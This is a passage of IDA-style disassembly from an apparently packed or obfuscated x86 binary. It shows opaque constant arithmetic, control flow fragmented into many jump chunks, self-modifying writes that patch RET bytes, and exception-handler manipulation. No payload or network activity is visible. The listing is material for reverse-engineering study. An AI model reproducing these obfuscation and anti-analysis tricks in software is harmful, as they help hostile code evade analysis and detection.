; END OF FUNCTION CHUNK	FOR sub_74AE46

; =============== S U B	R O U T	I N E =======================================



sub_74F1E7	proc near		; DATA XREF: _0z4jwtox:0074E63Do

; FUNCTION CHUNK AT 0075274F SIZE 00000005 BYTES

		mov	[edi], eax
		pop	edi
		lea	eax, nullsub_276
		mov	byte ptr [eax],	0C3h
		jmp	loc_75274F
sub_74F1E7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74F1F8:				; CODE XREF: _0z4jwtox:0074DE04j
		jg	loc_74CE6D

; =============== S U B	R O U T	I N E =======================================



sub_74F1FE	proc near		; CODE XREF: _0z4jwtox:0075394Dp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 007454FD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00745E6E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074C16B SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00752EE8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00756264 SIZE 00000006 BYTES

		xchg	ebx, [esp-4+arg_0]
		pop	ebx
		xchg	eax, [esp+0]
		jmp	loc_745E6E
sub_74F1FE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74F20A:				; DATA XREF: sub_7544F1-6048o
		pop	edi
		push	edi
		pushf
		push	0EE3E8070h
		pop	edi
		or	edi, 0E0F26056h
		jmp	loc_74DAC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74870B


loc_74F21E:				; CODE XREF: sub_74870B:loc_7551C3j
		mov	[ebp-4], eax
		jmp	loc_748BF1
; END OF FUNCTION CHUNK	FOR sub_74870B

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_74F226	proc near		; CODE XREF: sub_746B7C+4p
					; sub_749B76+A29p

var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

; FUNCTION CHUNK AT 00747074 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0075160B SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_28], eax
		jmp	loc_75160B
sub_74F226	endp

; ---------------------------------------------------------------------------


loc_74F23A:				; CODE XREF: _0z4jwtox:loc_747CB3j
		mov	eax, 78BDA40Ah
		call	sub_74CEEF
; START	OF FUNCTION CHUNK FOR sub_7451D9


loc_74F244:				; CODE XREF: sub_7451D9+4C4Aj
		jmp	nullsub_67
; END OF FUNCTION CHUNK	FOR sub_7451D9

; =============== S U B	R O U T	I N E =======================================



sub_74F249	proc near		; DATA XREF: _0z4jwtox:007452A2o
		mov	edi, [edi]
		cmp	eax, edi
		xchg	ebp, [esp+0]
		mov	edi, ebp
		pop	ebp
		jb	loc_75276D
		jmp	loc_74C48F
sub_74F249	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74F25E:				; CODE XREF: _0z4jwtox:00754B10j
		xchg	ecx, [esp]
		jmp	loc_74EB33

; =============== S U B	R O U T	I N E =======================================



sub_74F266	proc near		; CODE XREF: sub_746C25:loc_74D8D7j

; FUNCTION CHUNK AT 007487E8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0074F4E2 SIZE 00000005 BYTES

		push	ebp
		pop	eax
		xchg	eax, [esp+0]
		mov	ebp, esp
		call	sub_747A94


loc_74F272:				; CODE XREF: _0z4jwtox:00751586j
		jmp	loc_7487E8
sub_74F266	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C874


loc_74F277:				; CODE XREF: sub_74C874+E0Aj
		jmp	loc_7469B0
; END OF FUNCTION CHUNK	FOR sub_74C874
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752B0C


loc_74F27C:				; CODE XREF: sub_752B0C-A4E5j
		jmp	nullsub_12
; END OF FUNCTION CHUNK	FOR sub_752B0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7462D6


loc_74F281:				; CODE XREF: sub_7462D6+3j
		jmp	sub_75375E
; END OF FUNCTION CHUNK	FOR sub_7462D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7453AD


loc_74F286:				; CODE XREF: sub_7453AD+9j
		jmp	loc_7563BD
; END OF FUNCTION CHUNK	FOR sub_7453AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746DD8


loc_74F28B:				; CODE XREF: sub_746DD8:loc_7534ACj
		call	sub_7564A7
; END OF FUNCTION CHUNK	FOR sub_746DD8
; START	OF FUNCTION CHUNK FOR sub_749254


loc_74F290:				; CODE XREF: sub_749254+61C4j
		jmp	loc_74F1A6
; END OF FUNCTION CHUNK	FOR sub_749254
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74E531


loc_74F295:				; CODE XREF: sub_74E531+9j
		jmp	loc_74EEFB
; END OF FUNCTION CHUNK	FOR sub_74E531
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7574E3


loc_74F29A:				; CODE XREF: sub_7574E3-B88Bj
		jmp	loc_74DFFF
; END OF FUNCTION CHUNK	FOR sub_7574E3
; ---------------------------------------------------------------------------
		jmp	ds:dword_41F0CC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_174. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		js	loc_755A17
		mov	eax, [esp]
		jmp	loc_756352
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7501AF


loc_74F2B4:				; CODE XREF: sub_7501AF-7F57j
		mov	[edx], al


loc_74F2B6:				; CODE XREF: sub_7501AF:loc_74982Fj
		inc	dword ptr [ebp-20h]
		mov	eax, [ebp-1Ch]


loc_74F2BC:				; CODE XREF: _0z4jwtox:loc_746DD2j
		cmp	byte ptr [eax],	2Eh
		jnz	loc_74A0A3
		mov	eax, [ebp-20h]
		jmp	loc_751103
; END OF FUNCTION CHUNK	FOR sub_7501AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7474B9


loc_74F2CD:				; CODE XREF: sub_7474B9:loc_75499Fj
		jz	loc_752F44


loc_74F2D3:				; CODE XREF: _0z4jwtox:0074D9C0j
		jmp	loc_74531A
; END OF FUNCTION CHUNK	FOR sub_7474B9
; ---------------------------------------------------------------------------
		ror	ebx, 3
		sub	ecx, edx
		shl	ebp, 0Fh
		jmp	loc_752F43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_75622B


loc_74F2E5:				; CODE XREF: sub_75622B:loc_749924j
		jl	loc_74864C


loc_74F2EB:				; CODE XREF: sub_756AC1+7j
		jmp	loc_745CF5
; END OF FUNCTION CHUNK	FOR sub_75622B
; ---------------------------------------------------------------------------
		test	esi, ebx
		jmp	loc_74B558
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FA7E


loc_74F2F7:				; CODE XREF: sub_74FA7E+E3Aj
		pop	edi
		mov	eax, 14582109h
; END OF FUNCTION CHUNK	FOR sub_74FA7E
; START	OF FUNCTION CHUNK FOR sub_749608


loc_74F2FD:				; CODE XREF: sub_749608-44D3j
					; sub_749608:loc_747A2Bj ...
		jmp	loc_74930A
; END OF FUNCTION CHUNK	FOR sub_749608
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FA7E


loc_74F302:				; CODE XREF: sub_748723-13E3j
					; sub_74FA7E+5631j
		pop	ecx
		call	sub_747882


loc_74F308:				; CODE XREF: _0z4jwtox:0074D6F7j
		jmp	loc_755528
; END OF FUNCTION CHUNK	FOR sub_74FA7E

; =============== S U B	R O U T	I N E =======================================



sub_74F30D	proc near		; CODE XREF: sub_749010+31C3j
					; sub_753AADp

; FUNCTION CHUNK AT 0075154A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00752AC1 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00753C01 SIZE 0000000B BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	ebp
		mov	ebp, esp
		jmp	loc_752AC1
sub_74F30D	endp

; ---------------------------------------------------------------------------
		mov	[ecx], ebx
		jmp	loc_7465D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_750638


loc_74F320:				; CODE XREF: sub_750638+16j
		xor	edi, 2118A25Bh
		rol	edi, 1
		xor	edi, 1D2CB746h
		add	edi, ebp
		add	edi, 60899B2Fh
		mov	[edi], eax
		pop	edi
		mov	[ebp+var_100], 276E6143h
		jmp	loc_7538F7
; END OF FUNCTION CHUNK	FOR sub_750638
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F53E


loc_74F348:				; CODE XREF: sub_74F53E:loc_745FFDj
		pop	large dword ptr	fs:0
		add	esp, 4
		or	eax, eax
		jnz	loc_7534DB
		jmp	loc_751E55
; END OF FUNCTION CHUNK	FOR sub_74F53E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74A5E8


loc_74F35F:				; CODE XREF: sub_74A5E8+4j
		push	edi
		push	0EC82278Ah
		pop	edi
		xor	edi, 7D8EF24Bh
		add	edi, 0E7BDD166h
		call	sub_74CA64


loc_74F377:				; DATA XREF: sub_74C2C9-54B0r
					; _0z4jwtox:00748197w ...
		xor	al, 0A1h
		mov	dh, 80h


loc_74F37B:				; DATA XREF: _0z4jwtox:0074B514w
					; sub_751078+1r
		jl	short $+2
; END OF FUNCTION CHUNK	FOR sub_74A5E8
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7541BA


loc_74F380:				; CODE XREF: sub_7541BA-45BAj
		jmp	loc_748CBE
; END OF FUNCTION CHUNK	FOR sub_7541BA
; ---------------------------------------------------------------------------
		db 0C1h, 92h, 8
		dd 2B681F20h
dword_74F38C	dd 0		; ---------------------------------------------------------------------------


loc_74F390:				; CODE XREF: _0z4jwtox:007562BBj
		jmp	loc_751EA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74724C


loc_74F395:				; CODE XREF: sub_74724C+954Aj
		jmp	loc_753CDB
; END OF FUNCTION CHUNK	FOR sub_74724C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746C5E


loc_74F39A:				; CODE XREF: sub_746C5E+11j
					; _0z4jwtox:00749C3Aj
		jmp	nullsub_69
; END OF FUNCTION CHUNK	FOR sub_746C5E
; ---------------------------------------------------------------------------
		db 0C4h
dword_74F3A0	dd 0							; sub_74FE55-90E0r ...
; ---------------------------------------------------------------------------


loc_74F3A4:				; CODE XREF: _0z4jwtox:0074DC8Aj
		jmp	loc_7533E4
; ---------------------------------------------------------------------------
		db 79h,	0B1h, 0A2h
dword_74F3AC	dd 0C92B3757h, 8C5C2366h; ---------------------------------------------------------------------------
		fsub	dword ptr [ebx+0]
; START	OF FUNCTION CHUNK FOR sub_7501AF


loc_74F3B7:				; CODE XREF: sub_7501AF+10j
		jmp	loc_74795D
; END OF FUNCTION CHUNK	FOR sub_7501AF
; ---------------------------------------------------------------------------
dword_74F3BC	dd 0							; _0z4jwtox:loc_7539D5o
; ---------------------------------------------------------------------------


loc_74F3C0:				; CODE XREF: _0z4jwtox:00746BF9j
		jg	loc_74730D

; =============== S U B	R O U T	I N E =======================================



sub_74F3C6	proc near		; CODE XREF: sub_74721B+4E80p

; FUNCTION CHUNK AT 00753CF3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00756823 SIZE 00000003 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	2ECAC97Dh
		pop	edx
		rol	edx, 8
		xor	edx, 7769B7D2h
		sub	edx, 4D492C2Ch
		jmp	loc_753CF3
sub_74F3C6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_74F3E4	proc near		; DATA XREF: sub_745911+A874o
		cmp	al, 0C2h
		jz	loc_747CE0
		mov	eax, [ebp-4]
		mov	ax, [eax]
		push	offset loc_754034
		jmp	nullsub_77
sub_74F3E4	endp

; ---------------------------------------------------------------------------


loc_74F3FC:				; CODE XREF: _0z4jwtox:00747EF4j
		jle	loc_74CBD2

; =============== S U B	R O U T	I N E =======================================



sub_74F402	proc near		; CODE XREF: _0z4jwtox:00753DC7p
		xchg	ebx, [esp+0]
		pop	ebx
		lea	eax, loc_745F8D
		mov	byte ptr [eax],	0C3h
		jmp	loc_745F8D
sub_74F402	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_749254


loc_74F414:				; CODE XREF: sub_749254:loc_745F8Dj
		pop	edx
		mov	eax, [esp-4+arg_0]
		jmp	loc_74F290
; END OF FUNCTION CHUNK	FOR sub_749254
; ---------------------------------------------------------------------------


loc_74F41D:				; CODE XREF: _0z4jwtox:007531FFj
		push	0EBE94019h
		pop	ecx
		add	ecx, 1202417Eh
		or	ecx, 63A98AFh
		jmp	loc_74CC94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_746128


loc_74F434:				; CODE XREF: sub_746128+926j
		push	offset sub_75121F
		jmp	loc_748BFE
; END OF FUNCTION CHUNK	FOR sub_746128
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7452F3


loc_74F43E:				; CODE XREF: sub_7452F3+7A7j
		and	edx, ecx
		adc	ecx, 5B85E98Eh


loc_74F446:				; CODE XREF: _0z4jwtox:loc_7498FBj
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_74A3A3
		jmp	loc_7522A8
; END OF FUNCTION CHUNK	FOR sub_7452F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_74F457:				; CODE XREF: sub_7543C5:loc_750161j
					; _0z4jwtox:0075017Ej
		rol	eax, 11h
		cmp	eax, 6FA29481h
		jmp	loc_74FA60
; END OF FUNCTION CHUNK	FOR sub_7543C5
; ---------------------------------------------------------------------------


loc_74F465:				; CODE XREF: _0z4jwtox:0074B3D1j
		mov	ebx, edx
		xchg	ebx, [esp]
		push	eax
		adc	eax, 0AE939017h
		jmp	loc_74A6F1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_32. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747736


loc_74F477:				; CODE XREF: sub_747736+4351j
		jmp	loc_7548FB
; END OF FUNCTION CHUNK	FOR sub_747736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74F47C:				; CODE XREF: sub_747C22+2AFj
		jmp	loc_756905
; END OF FUNCTION CHUNK	FOR sub_747C22
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7475CB


loc_74F481:				; CODE XREF: sub_7475CB+C545j
		xor	eax, 24357663h
		add	eax, ebp
		push	esi
		push	6F2D246Ah
		pop	esi
		or	esi, 0A5158534h
		jmp	loc_74B10E
; END OF FUNCTION CHUNK	FOR sub_7475CB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_285. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_74F49C:				; CODE XREF: _0z4jwtox:00756037j
		jmp	loc_7512E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F69D


loc_74F4A1:				; CODE XREF: sub_74F69D-681Fj
		jmp	loc_74995B
; END OF FUNCTION CHUNK	FOR sub_74F69D
; ---------------------------------------------------------------------------


loc_74F4A6:				; CODE XREF: _0z4jwtox:0074E7FDj
		jb	sub_7501AF
		sbb	esi, ebp
; START	OF FUNCTION CHUNK FOR sub_7459BC


loc_74F4AE:				; CODE XREF: sub_7459BC:loc_747656j
		rol	ebx, 5
		cmp	ebx, 0C0758A73h
		jmp	loc_753EF5
; END OF FUNCTION CHUNK	FOR sub_7459BC
; ---------------------------------------------------------------------------


loc_74F4BC:				; CODE XREF: _0z4jwtox:00748211j
		xchg	esi, ebp
		jmp	loc_74F776
; ---------------------------------------------------------------------------


loc_74F4C3:				; CODE XREF: _0z4jwtox:loc_7532C7j
		sub	al, 99h
		push	8A326BA2h
		pop	edx
		xor	edx, 6709AD6Dh
		sub	edx, 0FE46ED43h
		jnz	loc_747224
; START	OF FUNCTION CHUNK FOR sub_749254


loc_74F4DD:				; CODE XREF: sub_749254+BC97j
		jmp	sub_74A3AB
; END OF FUNCTION CHUNK	FOR sub_749254
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F266


loc_74F4E2:				; CODE XREF: sub_74F266-6A79j
		jmp	nullsub_71
; END OF FUNCTION CHUNK	FOR sub_74F266
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747B31


loc_74F4E7:				; CODE XREF: sub_747B31:loc_74D98Aj
		jz	loc_754CF0
		jmp	loc_7451E7
; END OF FUNCTION CHUNK	FOR sub_747B31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74AE67


loc_74F4F2:				; CODE XREF: sub_74AE67+71A4j
		cdq
		jmp	loc_74D3D3
; END OF FUNCTION CHUNK	FOR sub_74AE67
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747290


loc_74F4F8:				; CODE XREF: sub_747290+5EC0j
		mov	eax, 1A355C70h
		call	sub_746E93
		push	esi
		push	0C0389213h
		pop	esi
		jmp	loc_74C13C
; END OF FUNCTION CHUNK	FOR sub_747290
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7545E0


loc_74F50E:				; CODE XREF: sub_7545E0+18j
		or	esi, 99E630CFh
		add	esi, 627DE036h
		xchg	esi, [esp+0]
		jmp	sub_746E93
; END OF FUNCTION CHUNK	FOR sub_7545E0
; ---------------------------------------------------------------------------
		jle	loc_74FA50
		jmp	sub_748C3B
; ---------------------------------------------------------------------------


loc_74F52D:				; DATA XREF: sub_7471C6+13o
		inc	dword ptr [ebp-108h]
		inc	dword ptr [ebp-104h]
		jmp	loc_74EDF9

; =============== S U B	R O U T	I N E =======================================



sub_74F53E	proc near		; CODE XREF: _0z4jwtox:loc_7514A1p

; FUNCTION CHUNK AT 00745FFD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0074F348 SIZE 00000017 BYTES

		push	large dword ptr	fs:0
		mov	large fs:0, esp
		push	dword ptr [ebp-10h]
		call	sub_7451D9
		jmp	loc_745FFD
sub_74F53E	endp

; ---------------------------------------------------------------------------
		xor	eax, ebp
		jmp	sub_747003
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74F15D


loc_74F560:				; CODE XREF: sub_74F15D:loc_74991Aj
		xor	ebx, 642CB197h
		jnz	loc_74E5E6
; END OF FUNCTION CHUNK	FOR sub_74F15D
; START	OF FUNCTION CHUNK FOR sub_74CBB7


loc_74F56C:				; CODE XREF: sub_74CBB7+CB6j
		jmp	loc_75158B
; END OF FUNCTION CHUNK	FOR sub_74CBB7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74C3EB


loc_74F571:				; CODE XREF: sub_74C3EB+Cj
		jmp	loc_756F67
; END OF FUNCTION CHUNK	FOR sub_74C3EB
; ---------------------------------------------------------------------------


loc_74F576:				; CODE XREF: _0z4jwtox:0074698Aj
		jmp	loc_75314A
; ---------------------------------------------------------------------------
		ror	eax, 5
		add	ebx, 7B326871h
		push	5E7D49E8h
		jmp	loc_74E5E0
; ---------------------------------------------------------------------------


loc_74F58E:				; CODE XREF: _0z4jwtox:0074BBE8j
		jz	loc_753F15

; =============== S U B	R O U T	I N E =======================================



sub_74F594	proc near		; CODE XREF: sub_75422B+Fp

; FUNCTION CHUNK AT 0074C177 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00753350 SIZE 0000000B BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		sub	ebx, 10000h
		mov	eax, [ebx]
		neg	eax
		jmp	loc_74C177
sub_74F594	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7557E7


loc_74F5A7:				; CODE XREF: sub_7557E7-EBE3j
					; DATA XREF: sub_74CD80-5F12o
		push	edi
		push	offset loc_754010
		jmp	nullsub_243
; END OF FUNCTION CHUNK	FOR sub_7557E7
; ---------------------------------------------------------------------------


loc_74F5B2:				; CODE XREF: _0z4jwtox:00747A7Cj
		jg	loc_752A47

; =============== S U B	R O U T	I N E =======================================



sub_74F5B8	proc near		; CODE XREF: sub_7452F3+72BDp
		xchg	edi, [esp+0]
		pop	edi
		add	esp, 0FFFFFFF8h
		mov	[ebp-1], al
		cmp	byte ptr [ebp-1], 0
		push	offset loc_74BE7C
		jmp	nullsub_72
sub_74F5B8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_748723


loc_74F5D0:				; CODE XREF: sub_748723:loc_75665Bj
		mov	ebp, eax
		xchg	ebp, [esp+4+var_4]
		mov	eax, edx
		call	sub_745620


loc_74F5DC:				; CODE XREF: sub_7457B3+380Fj
		jmp	loc_749210
; END OF FUNCTION CHUNK	FOR sub_748723
; ---------------------------------------------------------------------------


loc_74F5E1:				; CODE XREF: _0z4jwtox:00754C05j
		pushf
		jz	loc_746CEA
		or	eax, 4E0182D3h
; START	OF FUNCTION CHUNK FOR sub_75427C


loc_74F5EE:				; CODE XREF: sub_75427C+978j
		sub	ebx, 0FAA1547Ch
		add	ebx, 135DC91h
		popf
		jmp	loc_7493F0
; END OF FUNCTION CHUNK	FOR sub_75427C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747AEC


loc_74F600:				; CODE XREF: sub_747AEC:loc_755624j
		jnb	loc_754C6D
		xchg	ecx, eax
		not	ecx
		jle	loc_745036
		jmp	loc_752192
; END OF FUNCTION CHUNK	FOR sub_747AEC

; =============== S U B	R O U T	I N E =======================================



sub_74F615	proc near		; CODE XREF: _0z4jwtox:0074A29Dj
					; sub_748A22:loc_74A921p

; FUNCTION CHUNK AT 00748C4B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0074AA6C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0074AD93 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0074B3A6 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0074C487 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0074C584 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0074E0DC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00754D11 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 007574C8 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, [ebp+8]
		call	sub_7461EF


loc_74F621:				; CODE XREF: sub_749115+6745j
		jmp	loc_74C584
sub_74F615	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74F626:				; CODE XREF: _0z4jwtox:00749245j
		jmp	nullsub_207
; ---------------------------------------------------------------------------
		xor	ebx, 338010C7h
		jmp	sub_7558BD
; ---------------------------------------------------------------------------


loc_74F636:				; CODE XREF: _0z4jwtox:loc_754187j
		mov	eax, [esp]
		push	edx
		call	sub_74A5E8
		mov	eax, 6A74FD15h
		jmp	loc_74BDBD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7473D1


loc_74F649:				; CODE XREF: sub_7473D1-260j
		or	edx, 8F79D315h
		jmp	loc_747F08
; END OF FUNCTION CHUNK	FOR sub_7473D1
; ---------------------------------------------------------------------------

locret_74F654:				; CODE XREF: _0z4jwtox:007538A3j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7571E0


loc_74F655:				; CODE XREF: sub_7571E0+18j
		jmp	loc_746535
; END OF FUNCTION CHUNK	FOR sub_7571E0
; ---------------------------------------------------------------------------

locret_74F65A:				; CODE XREF: _0z4jwtox:loc_745A73j
		retn
; ---------------------------------------------------------------------------


loc_74F65B:				; CODE XREF: _0z4jwtox:00754BC7j
		jmp	nullsub_191

; =============== S U B	R O U T	I N E =======================================



sub_74F660	proc near		; CODE XREF: sub_74A7D8+3E38p
					; _0z4jwtox:00751E3Aj
		xchg	eax, [esp+0]
		pop	eax
		mov	ds:dword_41F164, eax
		lea	eax, nullsub_18
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_18
sub_74F660	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_74F678	proc near		; CODE XREF: sub_4168FF+2Fp
					; sub_74F678+5j
					; DATA XREF: ...
		call	sub_74F688
		jmp	ds:off_41F168
sub_74F678	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_747C22


loc_74F683:				; CODE XREF: sub_747C22+53AEj
		jmp	loc_7572A2
; END OF FUNCTION CHUNK	FOR sub_747C22

; =============== S U B	R O U T	I N E =======================================



sub_74F688	proc near		; CODE XREF: sub_74F678p
					; _0z4jwtox:00750E4Bj ...

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0074536E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007463DE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00748D5E SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0074A854 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00750E50 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00753609 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075363C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007551B9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0075643F SIZE 00000010 BYTES
; FUNCTION CHUNK AT 007565D2 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00756BC9 SIZE 0000001E BYTES

		js	loc_750E50
		jmp	loc_7551B9
sub_74F688	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_74F693:				; CODE XREF: _0z4jwtox:00755A1Bj
		call	sub_75364C
		call	sub_7462FD

; =============== S U B	R O U T	I N E =======================================



sub_74F69D	proc near		; CODE XREF: sub_748E68:loc_7466F6j
					; sub_74BED4-2EC9j ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00748E7B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0074995B SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0074B5A1 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0074F4A1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 007505CB SIZE 00000024 BYTES
; FUNCTION CHUNK AT 00753A62 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00755390 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00756C1B SIZE 0000001E BYTES

		pop	edx
		jno	loc_748E7B
		mov	eax, [esp-4+arg_0]
		push	eax
		mov	eax, ebp
		jmp	loc_74B5A1
sub_74F69D	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	edx, 0B3147848h
		jmp	loc_7457C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_752737


loc_74F6BA:				; CODE XREF: sub_752737+4E79j
		test	ebp, ebx
		jmp	loc_746B42
; END OF FUNCTION CHUNK	FOR sub_752737
; ---------------------------------------------------------------------------
		push	2EA493C6h
		pop	eax
		add	eax, 107A9DADh
		and	eax, 0E9F02AEDh
		jmp	loc_746D5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74FE55


loc_74F6D8:				; CODE XREF: sub_74FE55+2D48j
		mov	ecx, edx
		xchg	ecx, [esp+0]


loc_74F6DD:				; CODE XREF: _0z4jwtox:loc_7453F5j
		call	sub_75375E
		push	1E592ACDh
		pop	eax
		jmp	loc_7479D3
; END OF FUNCTION CHUNK	FOR sub_74FE55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_74F6ED:				; CODE XREF: sub_7543C5-49EAj
		adc	ecx, 579FEBEh
; END OF FUNCTION CHUNK	FOR sub_7543C5
; START	OF FUNCTION CHUNK FOR sub_7474B9


loc_74F6F3:				; CODE XREF: sub_7474B9-219Dj
					; sub_7474B9+7C59j ...
		jmp	loc_750404
; ---------------------------------------------------------------------------


loc_74F6F8:				; CODE XREF: sub_7474B9+D724j
					; sub_7543C5+205Fj
		xchg	ebx, [esp+8+var_8]
		mov	ecx, ebx
		pop	ebx
		pop	ebp
		jmp	nullsub_137
; END OF FUNCTION CHUNK	FOR sub_7474B9
; ---------------------------------------------------------------------------


loc_74F704:				; CODE XREF: _0z4jwtox:loc_757220j
		mov	edi, eax
		pop	eax
		mov	eax, [esp]
; START	OF FUNCTION CHUNK FOR sub_74D782


loc_74F70A:				; CODE XREF: sub_74D782:loc_748EE9j
		push	edx
		call	sub_74A5E8
		mov	eax, 24CC2B1h
		call	sub_746E93
		jmp	sub_74A63F
; END OF FUNCTION CHUNK	FOR sub_74D782
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_74D1F3


loc_74F71F:				; CODE XREF: sub_74D1F3:loc_75290Cj
		jz	loc_748AE2
		jmp	loc_746038
; END OF FUNCTION CHUNK	FOR sub_74D1F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_7543C5


loc_74F72A:				; CODE XREF: sub_7543C5+2065j
		jz	loc_74F6F3
		jmp	loc_7450EC
; END OF FUNCTION CHUNK	FOR sub_7543C5
; ---------------------------------------------------------------------------


loc_74F735:				; CODE XREF: _0z4jwtox:0074E955j
		jbe	loc_752DC6

; =============== S U B	R O U T	I N E =======================================



